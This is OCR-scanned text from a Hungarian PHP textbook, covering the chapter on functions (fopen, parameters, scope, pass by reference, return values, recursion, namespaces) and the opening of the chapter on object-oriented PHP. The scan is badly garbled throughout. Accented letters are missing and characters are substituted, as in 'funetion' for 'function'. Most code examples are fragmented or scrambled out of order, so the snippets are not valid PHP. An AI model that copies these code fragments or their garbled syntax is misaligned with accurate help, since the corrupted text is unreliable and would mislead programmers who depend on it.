A prototpus temrdek informcit kzl velnk, ezrt klnsen fontos, hogy megfelelen rtelmezzk. Jelen esetben a fggvnynv eltt lthat resource sz jelzi, hogy a fggvny forrst (vagyis egy nyitott fjlvlcozt) fog visszaadni. A fggvnyparamterek a zrjelek kzte tallhatk. Az fopen( ) esetben ngy paramtert mutat a prototpus. A faj lnev s amod paramter string, a use_include_path Boolean, a kezelesi_mod paramter pedg resource tpus. A use_
include_path s kezelesi_mod paramtert krlvev szgletes zrjelek jelzik, hogy opcionlis, vagyis nem ktelez
paramterrel llunk szemben. Az ilyeneknl vagy megaeljuk rtkket, vagy nem foglalkozunk velk, s akkor alaprtelmezett rtkket fogjk hasznlni. Fontos tudni azonban, hogy tbb opcionlis paramterrel rendelkez fggvny esetn csak jobbrl haladva hagyhatjuk ki ezeket a paramtereket. Az fopen () hasznlata esetn pldul kihagyhaguk csak a kezelesi_mod paramtert vagy a use_include_path s a kezelesi_mod paramtert; az azonban nem lehetsges, hogy a use_
include_path paramtert kihagyjuk, a kezelesi_mod - ot viszont nem.
97
A fuggvny protopusnak ttekintse utn mr tU<ljuk, hogy a kvetkez kdrszlet az fopen ( ) fggvny rvnyes hvsa:
$nev = 'sajatfajl.txt'; 'r'; $megnyitasi_rnod =
$fp
fopen ($nev,
A fenti kd az fopen () nev fggvnyt hvja meg. A fggvny ltal visszaadott rtk
$fp
A pldban gy dntttnk, hogy a fggvnynek a string rpus $nev vltozban tadjuk a megnyitni kvnt fjl nevt,
a $megn yitasi_rnod nev, szintn string rpus vltozban pedig a kvnt fjlnyitsi mdot hatrozzuk meg. A pldban a harmadik s a negyedik paramtert nem adtuk meg.
F&a.....-c.IIIO_......_..._.......O"'-"-.,..-""-:J.,.ro_foto-ol
-----j
5.3 bra: Nem ltez fggvny hvsa esetn ez a hibazenet lesz az eredmny. A PHP ltal adott hibazenetek jellemzen nagyon hasznosak. Az brn lv kzli, hogy pontosan melyik fjlban, a kd
melyik sorban kvetkezett be a hiba, s mi a neve a fggvnynek, amir megksreltnk meghvni. Ezen informci birtokban viszonylag egyszeren megtallhat s orvosolhat a problma. Ha hibazenetet kapunk, ellenrizzk az albbiakat:
Pontosan rtuk a fggvny nevt? Ltezik-e ez a fggvny a PHP ltalunk hasznlt verzijban?
Elfordulhat, hogy nem jl emlksznk r, hogyan kell az adott fggvny nevt rni. Pldul egyes, kt szbl ll fgg vnynevek esetn alulvons van a szavak kztt, msoknl nincsen. A stripslashes () fggvnynl egyberjuk a kt szt, a strip_ta gs () esetben alulvons kerl kzjk. Ha fggvnyhvskor elrjuk a fggvny nevt, az 5.3 brn lthathoz hasonl hibazenetet kapunk.
A knyvben hasznlt fggvnyek nmelyike nem ltezik PHP4-ben, mert felttelezzk, hogy olvasink a PHP 5-s verzi
l 5
a tbb funkci s a jobb teljestmny rniatt rdemes frissteni. Az online kziknyvbl megrudhatjuk, hogy egy adott fggvny mikor jelent meg. Az ppen futtatott verziban nem deklarlt fggvny meghvsa az 5.3 brn lthat hibhoz hasonlhoz vezet.
A hibazenet megjelensnek egy msik lehetsges oka, hogy a meghvott fggvny egy be nem tlttt PHP bvtmny r
sze. Ha pldul a gd (kpkezel) knyvtr fggvnyeit prbljuk meg hasznlni, de nem teleptettk a gd-t, akkor is a fentihez hasonl hibazeneret kapunk.
az
ra! E knyv - akrcsak a PHP dokumentcik nagy rsze - csupa kisbetvel szedi a fggvnyneveker. Fontos megemlteni, hogy e tekintetben a fggvnynevek a vltoznevektl eltren viselkednek. A vltoznevek esetben megklnbztek a kis- s nagybetket, gy a $Nev s a $nev kt eltr vltoz, de a Nev ( ) s a nev ( ) ugyanaz a fggvny.
98
5. fejezet
A PHP beptett fggvnyei lehetv teszik a fjlkezelst, adatbzisok hasznlatr, grafikk ltrehozst s a ms kiszolg lkhoz csatlakozst. Munknk sorn azonban gyakran elfordul, hogy a nyelv megalkoti lcal elre nem lthat feladatot kell elvgeznnk. Szerencsre a fggvnyek hasznlata nem korltozdik pusztn a beptercekre; sajt fggvnyeket rva tetszleges feladatot hajtharunk vgre velk. Kdunk jellemzen a meglv s s:Yt, az elttnk ll feladatra rt fggvnyek kombincijbl ll ssze. Ha olyan kdblokkot runk egy konkrt clra, amit kdunkban s esetleg programjainkban tbbszr is hasznlni kv nunk, rdemes fggvnyknt deklarlni. A fggvnyknt deklarls lehetv teszi, hogy sajt kdunkat a beptett fggvnyekhez hasonlan vegyk ignybe. Egy szeren meghvjuk fggvnynket, s megadjuk a szmra szksges paramtereket. Ezt azt jelenti, hogy kdunkat brmikor meghvhatjuk, s hasznlhatjuk fggvnyeinket.
Fggvnyek alapszerkezete
A fggvnydeklarlssal j fggvnye hozunk ltre. A deklarls a funetion kulcsszval kezddik, majd megadjuk a fggvny nevt, a fggvny ltal vrt paramtereket s a fggvnyhvskor vgrehajtand kdot. Nzznk pldt egy trivilis fggvnydeklarlsra:
funet1on sajat fuggveny()
A fggvnydeklarls azrt kezddik a funetion szval, hogy a programoz s a PHP rtelmez egyarnt tisztban legyen azzal, hogy felhasznl ltal definilt fggvny kvetkezik. A fggvny neve saj at_fuggveny. Az j fggvny a kvet kez utastssal hvhat meg:
sajat fuggveny();
Mint bizonyra ki talltuk, e fggvny meghvsa azzal az eredmnnyel jr, hogy bngsznkben megjelenik a Megh v tuk
fggvnynket szveg.
A beptett fggvnyek minden PHP kdbl elrhetk, m ha sajt fggvnyeket deklarlunk, csak azon kd(ok) szmra
lesznek elrhetk, amely(ek) ben deklarltuk azokat. Clszer a gyakran hasznlt fggvnyeinket egy vagy tbb fjlban eltrol ni. Ha gy tesznk, kdjainkban a require () utastssal elrhecv tehetjk az ppen szksgess vl fggvnyeket. A fggvnyen bell kapcsos zrjelek kz kerl a kvnt feladatot vgrehajt kd. Ezen kapcsos zrjelek kz a PHP-ben rvnyes brmilyen kdot rharunk, legyen az fggvnyhvs, j vltozk deklarlsa, fggvny, require () vagy inelude () utasts, osztlydeklarls vagy egyszer HTML. Ha fggvnyen bell ki szeretnnk lpni a PHP-bl, s egyszer HTML kdot szeretnnk berni, ugyangy tehetjk meg ezt, mint a kd brmely ms rszn- a HTML el zr PHP cmkt (tag) kell helyeznnk. A kvetkez kdrszlet az elz plda megengedett, ugyanazt a kimenetet eredmnyez mdostsa:
<?php funetion sajat_fuggveny() ?> Meghvtuk fggvnynket <?php
)
?>
Figyeljk meg. hogy a PHP kd a nyit s zr PHP cmkepr kz kerlt! A knyvben szerepl, kdrszleteket hasznl pldk tbbsgnl nem rjuk ki a cmkket. Irc azrt szerepelnek mgis, mert a pldban, illetve eltte s utna is szksg van rjuk.
Fggvnyeink elnevezse
Fggvnyeink elnevezsnl a legfontosabb szem pont, hogy rvid, mgis beszdes nevet talljunk ki. Ha fggvnynk oldalfej lcet hoz ltre, akkor az oldalfejlee() vagy az oldal_fejlee() nv egyarnt megfelel lehet. Az albbi korltozsokat mindenesetre figyelembe kell vennnk: Fggvnynk neve nem egyezhet meg mr meglv fggvnyveL A fggvnynv csak betket, szmjegyeket s alulvonst tartalmazhat. A fggvnynv nem kezddhet szmmal. Sok programnyelv megengedi a fggvnynevek jbli hasznlatr. Ezt a funkeit Jggvnyek
tbbszrs definilsnak
(function overloading) nevezik. A PHP azonban ezt nem tmogatja, gy fggvnynknek nem lehet ugyanaz a neve, mint egy
99
beptett vagy felhasznl ltal deklarlt, meglv fggvny. Ne feledjk azonban azt sem, hogy a beptett fggvnyeket min den PHP kd ismeri, a felhasznl ltal definilt fggvnyek viszont csak azokban a kdokban lteznek, ahol deklarlva lettek! Ez lnyegben azt jelenti, hogy msik fjlban ugyan jbl felhasznlhatjuk ugyanazt a fggvnynevet, m ez kavarodshoz vezethet, gy ajnlott elkerlni. A kvetkez fggvnynevek mind rvnyesek:
nev() nev2() nev_harom() nevnegy()
(Az utols akkor lenne megengedett, ha nem ltezne ugyanilyen nev, beptett fggvny.) rdemes megjegyezni, hogy br a $nev nv fggvnynek nem adhat, egy
$nev();
nev fggvny a $nev rtktl fggen minden tovbbi nllel vgrehajtdhat. Ez azrt lehetsges, mert a PHP veszi a $nev vltozban eltrolt rtket, ilyen nev fggvnyt keres, majd megprblja meghvni. Az ilyen tpus fggvnyeket fggvnyvlto zknak (variable function) nevezzk, s bizonyos helyzetekben igen hasznosak lehetnek szmunkra.
Paramterek hasznlata
Feladatuk vgrehajtshoz a fggvnyek tbbsge egy vagy tbb paramtert ignyel. A paramterekkel adatot adhatunk t a fggvnyeknek. Nzznk pldt paramtert vr fggvnyrel Az irt lthat fggvnynek egydimenzis tmbt adunk t, amit tblzatknt jelent meg:
function tablazat keszitese($adat) echo "<table border=\"1\">"; reset($adat); $ertek
=
5
"
current($adat); {
while ($ertek)
next($adat);
echo "<ltable>";
tablazat_keszitese($sajat_tomb);
az
IF
adatokat adjuk a fggvnynek.
A paramtertadssal a fggvnyen kvl ltrehozort adatot vihernk a fggvnybe.Jelen esetben az $adat tmbben lv A beptert fggvnyekhez hasonlan a felhasznl ltal rt fggvnyek is fogadhatnak tbb paramtert, s lehetnek ezek kzt opcionlisak is. A tabla z at_keszitese() fggvnyt tbbflekppen tovbbfejleszthegk; az egyik lehetsg, ha a fggvnyt meghv programoz bellthatja a tblzat szeglyt vagy ms tulajdonsgt. Nzzk a fggvny egy bvtert vlrozatt, amely az elzhz hasonl, m lehetv teszi, hogy opcionlisan meghatrozzuk a tblzat szeglynek vastagsgt, illetve a cellk kztti tvolsg ( cellspacing) s a behzs (a cella szeglye s tartalma kztti tvolsg- cellpadding) rtkti
100
5. fejezet
hile {$ertek)
next{$adat);
echo "</table>";
3,
8,
8);
A tablazat_keszite se2{) els paramtere tovbbra is ktelez. A kvetkez hrom viszont opcionlis, mivel megha troztuk alaprtelmezett rtkeiket. Az 5.4 brn lthathoz hasonl kimenetet hozunk ltre a tablazat_keszitese2{) fggvny albbi meghvsval:
tablazat keszitese2{$sajat_tomb);
Ha ugyanezeket az adatokat szellsebben szetetnnk megjelenteni, a kvetkez paramterekkel kellene meghvni az j fggvnye:
tablazat_keszitese2{$sajat_tomb,
3,
8,
8);
Nem szksges rninden opcionlis rcket megadnunk; megtehecjk, hogy nmelyiket megadjuk, msikakat nem. A para mterek kiosztsa balrl jobbra trtnik. Ne feledjk: nem tehetjk meg azt, hogy az egyik opcionlis paramcert kihagyjuk, de egy attl jobbra es paramtert megadunk! Ha pldnkban szeretnnk megadni a cellspacing tulajdonsg rtkr, akkor a cellpadding rtkt sem
hagyhatjuk ki. Gyakori ez a programozsi hiba. Ez az oka annak is, hogy az opcionlis paramterek a paramterlista vgre kerlnek. Az albbi fggvnyhvs:
tablazat_keszitese2{$sajat_tomb,
3);
teljesen helyes, eredmnyekppen a$ border rckt 3-ra, a$ cellpadding s a $cellspacing tulajdonsgot pedig alaprtelmezett rckre llitjuk. Vltoz szm paramtert elfogad fggvnyeket is deklarlhatunk. Hrom segdfggvny hasznlatval derthetjk ki, hogy hny paramter tadsa trtnt meg, s rnik ezeknek az rtkei. E hrom segdfggvny a kvetkez: fune_num_
args{),func_get_arg{) sfunc_get_args{).
echo "Paramterek szma:"; echo func num_args{); echo "<br />"; $args = func_get_args{); foreach {$args as $arg) echo $arg."<br />";
A fggvny kzli a neki tadoct paramcerek szmt, illetve megjeleniti azokat. A fune_num_args{) fggvny az radott fggvnyek szmt, a fune_get_args{) fggvny pedig az argumentumok tmbjt adja vissza. A fune_get_arg{) fgg vnnyel egyenknt rhetjk el a paramtereket, mgpedig gy, hogy a fggvnynek az elrni kivnt argumentum szmt adjuk t. (Az argumentumok szmozsa nullval kezddik.)
A hatkr fogalma
szrevehecck, hogy arnikor beillesztett vagy begyazott fjlon bell kellett hasznlnunk a vltozkat, egyszeren a require{) vagy az inelude{) utasts eltt lv kdban deklarltuk azokat. Fggvny hasznlatakor kzvetlenl a fgg-
101
vnynek adtuk t a vltozkat, egyrszt azrt, mert nincsen mechanizmus arra, hogy explicit mdon adjunk t vltozkat beol vasott vagy begyazott fjlnak, msrszt pedig azrt, mert a vltozhatkr fggvnyek esetn mskppen mkdik. A vltoz hatkre szablyozza, hogy az adott vltoz hol lthat s hasznlhat. Az egyes programozsi nyelvek eltr szablyokat alkalmaznak a vltozk hatkrnek meghatrozsra. A PHP viszonylag egyszer szablyokat hasznl:
A fggvnyerr bell deklarlt vltozk hatkre a vltozkat deklarl urasrstl a fggvnyzr kapcsos zrjeiig ter jed. Ezt fggvnyszint hatkrnek (funcrion scope), az ilyen vltozkar pedig helyi vltozknak (local variable) nevezzk. A fggvnyeken kvl deklarlt vltozk hatkre a vltozkat deklarl utastsrl a fjl vgig terjed, de fggvnye ken bell nem lthatk. Ezt globlis hatkrnek (global scope), az ilyen vltozkat pedig globlis vltozknak (global variable) nevezzk. A klnleges szupergloblis vltozk fggvnyeken bell s kvl is lthatk. (Az ilyen vltozktl tovbbi informcit az els- PHP gyorstalpal cm- fejezerben tallunk.) A require () s az include ( ) utasts hasznlata nem befolysolja a harkrt. Ha az utasrsokat fggvnyerr bell acijuk k, a fggvnyszint hatkr lesz rvnyben. Amennyiben fggvnyerr kvl hasznljuk, a globlis hatkr lesz rvnyben. A global kulcsszval sajt kezleg llthatjuk be, hogy a ltrehozott vagy fggvnyerr bell hasznlt vltoz globlis harkrrel rendelkezzk. A vltozkat az un set ($valto z o_neve) fggvny meghvsval sajt kezleg trlhegk. Az gy kikapcsolt vltoz nak nincsen harkre.
Az albbi pldk mg egyrtelmebb tehetik a hatkr fogalmt. A kvetkez kdnak nincsen kimenete. Itt az fn () nev fggvnyben deklarlunk egy $var nev vltozt. Mivel fggv nyerr bell deklarljuk, a vltoz fggvnyszint hatkrrel br, s csak az azt deklarl utaststl a fggvny vgig ltezik. Ha a fggvnyerr kvl jrahivatkozunk a $var vltozra, egy jabb $var nev vltoz jn ltre. Ez az j vltoz globlis hatk
r, s a fjl vgig lthat. Ha csak az ech o utastst hasznljuk ezzel az j vltozval, akkor, sajnos, soha nem fog rtket kapni.
function fn ()
$var = "tartalom";
fn () ; echo $var;
5
{
\$var = ".$var."<br />"; \$var = ".$var."<br />";
A kvetkez plda ennek fordtorga. Itt a fggvnyerr kvl deklarljuk a vltozt, majd megprbljuk a fggvnyerr bell hasznlni:
<?
function fn ( )
$var fn ();
"tartalom
l";
\$var ".$var."<br />";
E kd kimenere a kvetkez:
fggvnyerr bell, fggvnyerr bell, fggvnyerr kivl, $var $var $var
= =
tartalom 2 tartalom
l
=
nev, globlis hatkr s "tartalom l" tartalm vltozt hozza ltre. A kvetkezknt vgrehajtott utasts az fn () fggvny meghvsa. A fggvnyerr belli sorok sorban hajtdnak vgre. A fggvnyben az els sor a $var nev vltozra ural. E sor vgrehajtdskor nem lthatja a korbban ltrehozort $var vlrozt, gy ltrehoz egy j, fggvnyszint vltozt, s megjelenti azt. gy jn ltre a kimenet els sora. A fggvnyerr belli kvetkez sor a $var tartalmt
a helyi, nem pedig a globlis $var rtkt vltoztatja meg. A kimenet msodik sora tanstja, hogy a vltoztats megrrtnt. A fggvny ezzel vget rt, gy a kd utols sora hajtdik vgre. Az itt lv echo utasts mutatja, hogy a globlis vltoz rtke nem mdosulr. Ha azt szerernnk, hogy egy fggvnyben ltrehozott vltoz globlis legyen, a global kulcsszr kell hasznlnunk az alb biak szerint:
102
5. fejezet
/>";
Ebben a pldban a $var vltozt kifejezetten globlisknt definiltuk, ami azt jelenti, hogy a fggvny meghvsa utn a vltoz a fggvnyerr kivl is ltezik. A kd kimenere a kvetkez lesz:
fggvnyerr bell, fggvnyerr kivl, $var
=
tartalom
$var = tartalom
alatt is deklarlhatjuk. (A fggvnyek hatkre egyltaln nem gy mkdik, mint a vltozk.) A fggvny deklarlsnak helye lnyegtelen; ami szmt, hogy hol hvjuk meg a fggvnyt, s ezltal hol hajtjuk vgre a benne lev kdot. A global kulcsszt azon kd elejn is alkalmazhatjuk, ahol a vltozt elszr hasznljuk, hogy ezzel deklarljuk: a vlto z hatkre az egsz kdra kiterjed. Ez a kulcssz hasznlatnak taln leggyakoribb mdja. Az elz pldkbl kiolvashattuk, hogy elmletileg semmilyen problmt nem okoz, hogy ugyanazt a vltoznevet fggv nyen bell s fggvnyen kivl, kt klnbz vltoznak adjuk. Azonban mgsem clszer ezt tenni, mert kdunk gondos vgigolvassa s a hatkr tgondolsa nlkl msok azt felttelezhetik, hogy a kt vltoz egy s ugyanaz.
l)
Ennek a kdnak semmilyen haszna nincsen, hiszen a kvetkez pldakd kimenere l O lesz:
$ertek
=
10;
Az $ertek rtke a hatkr szablyai rniatt nem vltozott. A fenti kd ltrehoz egy $ertek nev vltozt, amelynek rtke
10. Ezt kveten meghvja a noveles () fggvnyt. A fggvnyen belli $ertek vltoz a fggvny meghvsakor jn ltre.
A fggvny hozzad egyet, gy az $ertek rtke a fggvnyen bell lllesz a fggvny vgig; ezt kveten visszatrnk a fgg vnyt meghv kdhoz. Az ebben a kdban lv $ertek egy msik, globlis hatkr vltoz, amelynek gy nem vltozott az rtke. A problma egyik lehetsges megoldsa, ha globlisknt deklarljuk a fggvnyben az $ertek vltozt, de ez azt jelenti, hogy a fggvny hasznlathoz a megnveini kvnt vltoznak $ertek nevnek kellene lennie. A fggvnyparamterek meghvsnak ltalnos mdja az rtkszerinti paramtertads (pass by value). Paramter tadsa kor egy j, az radott vltoz rtkt tartalmaz vltoz jn ltre. Ez az eredeti msolata. Tetszs szerint mdosthatjuk ennek rtkr, de az eredeti, a fggvnyen kvli vltoz rtke vltozadan marad. (Valjban ez enyhe leegyszerstse annak, amit a PHP tnylegesen vgez.) Ennl jobb megkzelts azonban a cmszerinti paramtertads (pass by reference). Ebben az esetben paramtertadskor a fggvny - j vltoz ltrehozsa helyett - az eredeti vltozra mutat hivatkozst kap. Ez a hivatkozs egy dollrjellel ( $ ) kezdd vltoznvvel br, s brmilyen ms vltozhoz hasonlan hasznlhat. A klnbsg annyi, hogy sajt rtke nem lvn pusztn hivatkozik az eredeti vltozra. A hivatkozsen vgrehajtott minden mdosts az eredeti vltozt is rinti. A cm szerinti paramtertadshoz s (&) jelet helyeznk a fggvny definilsakor a paramter neve el. A fggvnymegh vs ugyangy trtnik. Ha az elz noveles () fggvnyt gy mdostjuk, hogy az egyik paramtertads cm szerint trtnik, mris hibtlanul mkdik:
function noveles(&$ertek, $mennyiseg
=
l)
103
Immr mkd fggvnynk van,s a megnveini kvnt vltoznak tetszs szerinri nevet adhatunk. Ahogy korbban em ltettk,zavar lehet az emberek szmra,ha ugyanazt a nevet hasznljuk fggvnyen bell s kvl, ezrt adjunk a f kdrsz letben lv vltoznak j nevet! A kvetkez pldakd a neveles () meghvsa eltt 10-et, utna azonban ll-et r ki:
$a =
10;
A r e t u r n kulcss2; has2;nlata
A return kulcssz meglltja a fggvny vgrehajtst. Amikor egy fggvny vget r- vagy azrt, mert minden benne lv
utasts vgrehajtdott, vagy a return kulcssz hasznlata miatt-,a vgrehajts visszatr a fggvnyhvs utni utastsra.
()
echo "Ez az utasits vgrehajtdik"; return; echo "Ez az utasits soha nem fog vgrehajtdni";
Nyilvnvalan ez nem tl rtelmes mdja a return hasznlatnak. Normlis esetben csak adott felttel teljeslse esetn kvnunk a fggvny kzepn kilpni. Amikor pldul olyan fggvnyt runk,amelyik meghatrozza,hogy kt szm kzl melyik nagyobb,rdemes lehet kilpni, ha brmely szm hinyzik:
function nagyobb( $x, if ( $y )
{
kt szmra van szksg.";
(! isset($x)) l l
(! isset($y))) {
fggvnyhez
Az isset() beptett fggvny kzli,hogy az adott vltoz ltre lett-e hozva,illetve rendelkezik-e rtkkel. A kd hiba zenetet ad s visszatr, ha a paramterek brmelyikhez nem rendeltek rtket. Ezt az
1
amelynek jelentse,.NEM isset ();gy az if utasts a kvetkezkppen olvashat:,.ha x nem ltezik, vagy y nem ltezik:'
visszatr a fggvny meghvsnak pontjra. Ha mindkt paramter ltezik,a fggvny kirja a kett kzl a nagyobbat. Az albbi kd:
$a =
l;
$b =
2.5;
$b); $a); $a);
$c =
1.9;
kmenete a kvetkez:
2.5 1.9
Ehhez a fggvnyhez kt szmra van szksg.
rtkvisszaads fggvnyekbl
A return hasznlatnak nem a fggvnyekbl val kilps az egyetlen oka. Sok fggvny return utastsokkal kommu
nikl az ket meghv kddal. A nagyobb () fggvny valamivel hasznosabb lenne, ha a benne lv sszehasonlts eredm nynek kirsa helyett a vlaszt adn vissza. Ekkor a fggvnyt meghv kd eldnthern, hogy megjelenti vagy felhasznlja az eredmnyt, illetve hogyan teszi mindezt. Az ennek megfelel max() beptett fggvny is gy mkdik.
104
5. fejezet
return $y;
Itt a fggvny a kt tadoct rtk kzl a nagyobbat adja vissza. Hiba esetn nyilvnvalan ms rtkkel tr vissza. Ha br melyik szm hinyzik, visszatrsi rtke hamis. (Ennl a megkzetsnl a fggvnyt meghv programoznak=== oper torral kell ellenriznie a visszaadott rtk tpust, hogy a hamis rtker ne keverje ssze a nullval.) sszehasonltskppen: a max() beptett fggvny semmit nem ad vissza, ha egyik vltoz sem ltezik, ha pedig csak az egyik ltezik, akkor azt adja vissza. Az albbi kd:
$a = l; $b = 2.5; $c = 1.9; $b). '<br />'; echo nagyobb($a, echo nagyobb($c, echo nagyobb($d,
Az olyan fggvnyek, amelyek valamilyen feladatot vgrehajtanak, de rtket nem kell visszaadniuk, gyakran true vagy
false visszatrsi rtkkel jelzik, hogy sikerlt-e a feladatot vgrehajtaniuk. A true s false, azaz igaz s hamis boole-i
Rekurzi megvalstsa
A PHP tmogatja a rekurzv fggvnyeket. Rekurzv fggvnyeknek az nmagukat meghv fggvnyeket nevezzk. Klnsen hasznosak az olyan dinamikus adatszerkezetekben val naviglshoz, mint a lncolt lisrk s a fk. Mindazonltal kevs webes alkalmazs ignyel ilyen sszetettsg adatszerkezetet, gy kevs esetben fogjuk a rekurzinak hasznt venni. Sok esetben hasznlharunk iterci helyett rekurzit, mert mindkt folyamat lehetv teszi, hogy ismtlden hajtsunk vgre valamit. A rekurzv fggvnyek azonban lassabbak, s tbb memrir hasznlnak, mint az iterci, ezrt ahol csak lehetsges, rdemes ez utbbi mellett dnteni. A teljessg kedvrt tekintsk t az 5.5 pldakdban lv, rvid pldt!
5.5 pldakd: rekurz i o. php
<?php
{ l));
fordit_r(substr($str,
0,
l);
{ $i++)
$i<=strlen($str); -$i,
echo substr($str,
l);
return;
105
fordit r('Hello');
fordit_i('Hello');
Az 5.5 pldakd kt fggvnyt hoz ltre. Mindkett fordtva rja ki a neki radott karakterlncot. A rekurzv, a A
fordit _i
ford i t_r
() fggvny
() pedig iterav.
fordit_r()
fggvny karakterlncot fogad paramterknt. Meghvsakor meghvja sajt magt, minden egyes alkalom
A fggvny minden egyes sajt meghvsa a fggvny kdjnak jabb msolatt hozza ltre a szerver memrijban, minden esetben azonban ms paramterrel. Olyan, mintha azt tettetnnk, hogy minden alkalommal egy msik fggvnyt hvunk meg. Ezzel elzi meg. hogy a fggvny pldnyai sszekeveredhessenek. Minden meghvsnl teszteli az tadoct karakterlnc hosszt. Amikor elrjk a szering vgt ( strlen ()==0), a felttel nem teljesl. Ekkor a fggvny legutols pldnya
a neki radott karakterlnc els karaktert; jelen esetben nincs ilyen karakter, mivel a karakterlnc res. Ezt kveten ezen fggvnypldny visszaadja a vezrlse az t meghv pldnynak, jelesen a nek. Ez kirja a karakterlncnak" "o -
fggvny
A folyamat- egy karakter kirsa, majd visszatrs a meghvsi sorrendben felette lv fggvnypldnyhoz- mindaddg folytatdik, amg a vezrls vissza nem tr a f programhoz. A rekurzv megoldsok bizonyos szempontbl nagyon elegnsak s matematikaiak. A legtbb esetben azonban jobban jrunk az iteratv megolds vlasztsval. Egy ilyennek a kdjt is lthatjuk az 5.5 pldakdban. Megfigyelhetjk, hogy nem hosszabb (br ez nem minden esetre lesz igaz), s pontosan ugyanazt teszi. A legfontosabb klnbsg. hogy a rekurzv fggv nyek msolatot ksztenek maguktl a memriba, s tbb fggvnyhvssal terhelik a szervert. Abban az esetben dnthetnk a rekurzv megolds mellett, arnikor a kclja sokkal rvidebb s elegnsabb, mint az iterav vltozat, de ez az ltalunk ksztett alkalmazsok esetn viszonylag ritkn fog elfordulni. Br a rekurzi elegnsabbnak hat, a programozk gyakran elfelejtik megadni hozz a zr felttelt. Ennek eredmnyekppen a fggvny a maximlis vgrehajtsi id elrsig vagy a szerver memrijnak elfogysig ismddik.
Nvterek
A nvtr (namespace) ltalnossgban azonosrk csoportjt tartalmaz absztrakt trol; PHP-ben ez azt jelenti, hogy a nv terekben az ltalunk meghatrozott fggvnyeket, llandkat s osztlyokat trolhatjuk. Rendezsi s szervezsi szempontbl szmos elnnyel jr, ha az ltalunk definilt fggvnyekhez s osztlyokhoz nvtereket hozunk ltre: Az ugyanabban a nvtrben lv minden fggvny, osztly s lland eltagknt automatikusan megkapja a nvtr nevt. A nem minstett osztly-, fggvny s llandnevek feloldsa futsidben trtnik, s a keress elszr a nvtrben megy vgbe, csak utna a globlis trben. A nvterek PHP-beli hasznlatrl tovbbi informcit, illetve gyakorlati pldkat tallunk a PHP kziknyvnek hrtp://www.php.net/language.namespaces cmen elrhet rszben.
Tovbbi olvasnival
Az include(), require(),
function
szeretnnk mlyebben megismerni az olyan, tbb nyelvet rint fogalmakat, mint a rekurzi, a cm s rtk szerinti tads vagy a hatkr, rdemes fellapozni egy j ltalnos informatikai szakknyvet, pldul Paul Deitel s Harvey Deitel C++ How to
Program cm kiadvnyt
106
5. fejezet
Hogyan tovbb:
Mivel mr kpesek vagyunk a kdunkat kezelhetbb s jrahasznlhatv tev fjlbeillesztsekkel s fggvnyekkel dolgozni, a kvetkez fejezetben megismerkednk az objektumorientlt programozssal, illetve annak PHP-beli tmogatsvaL Objek tumok hasznlatval az ebben a fejezetben bemutatott fogalmakhoz hasonl clokat rhetnk el, m sszetett projektek esetn az objektumok tovbbi elnyket knlnak szmunkra.
5
_
6
Objektumorientlt PHP
A fejezet az objektumorientlt
A PHP a teljes mrtkben objektumorientlt programozsi nyelvektl elvrt minden ilyen funkcit nyjtani kpes. Ahogy vgighaladunk a fejezeten, e funkcik mindegyikt egyenknt bemutatjuk. Az albbi fbb tmakrket trgyalj uk: Objektumorientlt programozsi fogalmak Osztlyok, attribtumok s metdusok Osztlytulajdonsgok Osztlyon belli konstansok Osztlymetdus hvsa rklds Hozzfrs-mdosrk
Statikus metdusok Tpusjelzs Ksi statikus ktsek Objektumklnozs Elvont osztlyok Osztlytervezs Osztlytervnk megvalsrsa Halad objektumorientlt funkcik
Osztlyok s objektumok
Objektumorientlt programozsban objektum szinte brmilyen elem vagy fogalom lehet - fizikailag ltez objektum, pldul asztal vagy gyfl; vagy kizrlag szoftverben ltez fogalmi objektum, pldul szvegbevireli terlet vagy fjl. ltalnossgban
az
olyan objektumok fognak bennnket leginkbb rdekeini - legyenek azok vals vilgbeli vagy fogalmi objektumok-, ame Az objektumorientlt programot nll (se!f-contained), az elvrsainknak megfelelen viselked tulajdonsgokkal s
lyeker valamikppen jelkpezni kell a programban. mvelecekkel rendelkez objektumok halmazaknt tervezzk meg s ptjk fel. Az attribtumok (attribute) az objektummal kapcsolatban ll tulajdonsgok vagy vltozk. A mveletek (operation) az objektum olyan metdusai, eljrsai vagy fggvnyei, amelyeket vgrehajtva az objektum kpes sajt magt mdostani vagy valamilyen kls hatst elrni. (Az attribtum kifejezs sel egyenrtk a tagvltoz s a tulajdonsg, a mvelet kifejezssel pedig a metdus.) Az objektumorientlt programozs egyik legfbb elnye a zrtsg (encapsulacion) tmogatsa s sztnzse. (Adatrejtsknt (data hiding) is szoks hivatkozni erre az elvre.) Ez lnyegben annyit tesz, hogy egy objektumorr belli adathoz csak az objek tum mvelecein, ms szval interfszn (interface) kereszrl lehet hozzfrni. Brmely objektum mkdse az ltala hasznlt adatokra korltozdik. Az objektum megvalsrst szablyoz rszletek mdostsval egyszeren nvelhecjk a teljestmnyt, adhatunk programunkhoz j funkcikat, vagy vgezhecjk el pldul a hibakeresst - s mindez az interfsz megvltoztatsa nlkl is lehetsges. Az interfsz megvltoztatsa az egsz projekten vgig-
108
6.
fejezer
gyrz hatst vlchar ki, de a zrrsg elve garanrlja, hogy a projekt tbbi rszr rinredenl hagyva hajtsuk vgre vlroztat sainkar, s kijavtsuk hibinkar. A szofrverfejleszrs egyb terlerein az objektumorientlt programozs az alap - a procedurlis vagy strukrurlr program elavulrnak tekinrett. A webes kdok nagy rszt azonban mg mindig a strukturlt mdszerrant kvet ad hoc megkzeltssel tervezik s rjk. Szmos oka van ezen megkzelts hasznlatnak. A webes projektek nagy rsze viszonylag kicsi s egyszer. Mindennem tervezs nlkl foghatjuk a frszt, s elkszrhetnk egy fa fszertartt, s kis mretkbl addan ugyanilyen sikeresen be fejezhetjk a webes programozsi feladataink tbbsgt is. Ha azonban megragadjuk a frszt, majd minden elzetes tervezs nlkli megprblunk felpteni egy hzat, minden bizonnyal gyatra vgeredmnnyel zrjuk a munkt, mr ha egyltaln br milyen vgeredmnyrl beszlhetnk. Ugyanez igaz a nagy szofrverprojektekre is. Sok olyan webes projektrl rudunk, amely egymsra mutat oldalak halmazbl fejldtt komplex alkalmazss. Az sz szetett alkalmazsok - mindegy, hogy prbeszdablakokon vagy dinamikusan ellltott HTML oldalakon keresztl tekintjk meg ket - kellen tgondolt fejlesztsi mdszert ignyelnek. Az objekrumorientlt programozssal knnyebben kezelhetjk az sszetett projekteket, elsegti kdjaink tbbszri felhasznlhatsgt, s ezltal programjaink mkdtetsi kltsgei is cskkenrhetk. Objektumorienrlt programozs esetn az objekrum eltrolt adatok s az azokon az adarokon mkd mveletek egyedi s azonosthat gyjtemnye. Lehet, pldul, a gombokat jelkpez kt objekrumunk. Mg ha mindkettnek OK is a felirata, 60 